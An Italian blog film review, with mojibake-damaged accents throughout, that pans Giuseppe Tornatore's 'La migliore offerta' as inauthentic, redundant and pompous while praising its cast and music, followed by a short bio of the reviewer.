La migliore offerta? E’ bassa.

In quali termini si puA? parlare del film-evento di uno dei piA? celebrati registi italiani?

Sino a quale punto si puA? spingere una critica di mero gusto e per di piA? di un profano, davanti agli sforzi produttivo-artistico-attoriali-autoriali di equipe che fanno tremare i polsi ad esperti del settore?

A mio giudizio, molto, ma proprio molto, avanti.

La��opera artistica e, con la modernitA�, qualsiasi media artistico, a mio sommesso avviso, deve essere rivolto sempre e comunque al pubblico.

E per ciA? stesso deve rispettarlo.

Ecco, quello che mi turba della��ultima opera di Giuseppe Tornatore a�� il monumentale regista di tanta alta produzione cinematografica recente in Europa a�� A? proprio questo: una fondamentale assenza di rispetto per lo spettatore.

Con a�?La migliore offertaa�?, sua ultima opera nelle sale da appena due giorni, Tornatore torna al cinema, e lo fa armato delle peggiori intenzioni.

Dal primo fotogramma, infatti, mi sono apparse evidenti, e spiacevolmente, direi, i suoi propositi.

Nulla A? autentico in questa pellicola; la quale, chiaramente, rimane opera visiva di un certo spessore.

Gli enormi sforzi produttivi, la grande perizia recitativa, la��ottima fotografia, le meravigliose musiche originali – composte dal MA� Morricone – infatti, non riescono a cogliere neppure un attimo di vero sentire.

Tutto ne a�?La migliore offertaa�? appare rarefatto, posticcio e costruito, come, in un certo senso, la storia ed il personaggio che della stessa A? linfa.

In un ambiente mittle-europeo di cultura e a�?culturismia�? estetizzanti a�� il film A? stato girato tra Trieste, Udine, Milano e Parma a�� si muove la storia ossessiva e ossessionante di Virgil Oldman.

Massimo esperto di opere da��arte, nonchA� proprietario di una primaria case da��aste di cui A? anche energico ed adrenalinico banditore, Oldman A? un monstrum letterario sotto tutti i punti di vista: ossessivo, ossessionato, pieno di manie, meschino nella��anima e corrotto, vive la propria vita nella��esclusiva funzione della propria professione.

Solo la cura che vi profonde lo rende vivo; solo la��arte A? ciA? che ama.

Il suo mondo viene, perA?, lentamente sconvolto e, dipoi, definitivamente squassato, dalla��incontro a�� per lunga parte del primo tempo del film meramente virtuale a�� con una giovane ereditiera, drammaticamente agorafobica, la quale gli commissiona di valutare il suo importante patrimonio.

Questa in brevissimo la sinossi del film.

Ma la storia, di per sA� banale quasi quanto vorrebbe essere sensazionalistica e piena di colpi di scena e machiavellici rimandi, A? qui solo un pretesto.

O, almeno, tale appare.

Premetto di aver sentito numerose interviste di Tornatore, nelle quali, invece, il regista afferma di essere stato sedotto per anni da questa storia, che lui definisce storia da��amore (sic!!), ma, purtroppo, nulla mi A? stato trasmesso da questo film, tragicamente didascalico e, in ogni caso, ridondante.

Senza far eccessivi spoiler, vorrei far notare che un regista di tale spessore, non ha di certo bisogno, volendo caratterizzare il proprio protagonista come a�?maniaco complusivoa�?, di riproporre la stessa idea in mille salse.

Per far capire che Virgil odia il contatto fisico con tutto e tutti (quasi novello CornabA? di Campaniliana memoria) sprechiamo buoni trenta minuti di film ad inquadrarne le mani chiuse in perfetti guanti di pelle dai mille colori.

I guanti, molto spesso anche di colori che a campo pieno possono indurre lo spettatore a credere che ne sia sprovvisto, sono presenti in ogni singola scena, al fine, evidente, e decisamente fuori luogo, di brillare in altri contesti per la propria assenza (come ad esempio, quando Oldman tocca, questa volta sA�, con i polpastrelli e con grande voluttA�, una piccolissima e preziosa opera da��arte).

CosA� come in questo, anche in tante altre cose: Virgil A� un uomo solo e meschino? Ovviamente ringhierA� verso i camerieri della��unico ristorante dove cena quotidianamente, quando sbaglieranno la data del suo genetliaco.

RinghierA�, sia inteso, gelidamente.

PerchA� lui A? il miglior figo del bigoncio.

E perA?, questo squisitissimo degustatore, stranamente, non si periterA� di a�?agguantarea�? con la propria manaccia chiaramente guantata, un finissimo calice di ottimo champagne, prendendolo, per la��appunto, dal calice e non dallo stelo.

So che questa osservazione pare frutto di una��altra paranoica (A? peraltro A? anche vero, e quella paranoica son io!), ma, a ben vedere, in tale contesto di precisa rarefazione A? del tutto inconcepibile una scena (e una��abitudine) del genere.

Come grado di assurditA�, il fatto che un degustatore di champagne possa prenderne un bicchiere cosA�, equivale ad un gladiatore con cronografo delle produzioni hollywoodiane di tanto tempo fa.

Sui dialoghi, poi, calerA? un velo pietoso.

Nessuna, ma nessuna proprio delle frasi pronunciate nel film, sono mai state anche solo pensate da un senziente.

La verbositA�, la��arcaicismo e la pompositA� la fanno da padrone, e credo che si capisca che siano vizi da me ben frequentati.

La sensazione, in definitiva, A? di stare davanti ad una�� espressione artistica (e non di arte) inautentica.

Volta al sensazionalismo.

Tesa alla��accalappiare la��attenzione altrui.

A giocare con la��attenzione altrui, una volta carpita.

Se io pensassi che gli altrui siano folli come me (ipotesi che scongiuro), quasi direi che Tornatore voglia fare con lo spettatore quello che il a�?complottoa�?, pietra angolare de La Migliore offerta, fa al suo protagonista.

Detto in termini piA? piani, la��unica cosa che mi potrebbe far declassare da a�?fastidiosoa�? a a�?meramente inutilea�?, il capolavoro blockbuster di Tornatore, A? la percezione che sia un esercizio di stile, o, meglio ancora un divertissement.

E tante cose potrebbero portare verso questa suggestiva tesi: la��utilizzo di stili e stilemi a lA� Lynch e, uber alles, a lA� Sorrentino.

E qui brevi considerazioni.

Questo film mi ha fatto balenare piA? volte agli occhi il mio amaterrimo a�� lui, sA� a�� Sorrentino.

Dalla trama, in un certo senso quasi plagiaria de a�?La��amico di famigliaa�? ad alcune inquadrature, tra le piA? forzate.

Qui rimando a quella in cui vediamo un Virgil oramai provato girare vorticosamente in una panca da inversione, modello uomo vitruviano.

Chi non ricorderebbe Titta e i suoi trip da eroina in a�?Le conseguenze della��amorea�??

La��impiego di attori eccellenti e, sia detto, ottimamente utilizzati. Su tutti Geoffrey Rush, incredibile Virgil, e Donald Sutherland, mefistofelico sodale-antagonista.

Alla��utilizzo di prodigiose tecniche registiche ed avveniristiche.

Eppure…

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Brillante giurista con la fregola dell'alta cucina (dice di sé: "sono una gastrofighetta"), Daniela B. Persico è ciò che diremmo un'esteta, o amante del bello. E' per questo che usa stroncare le pellicole che non sono all'altezza delle sue aspettative: cinefili, cinofili, cinodromi, attenti a voi tre!

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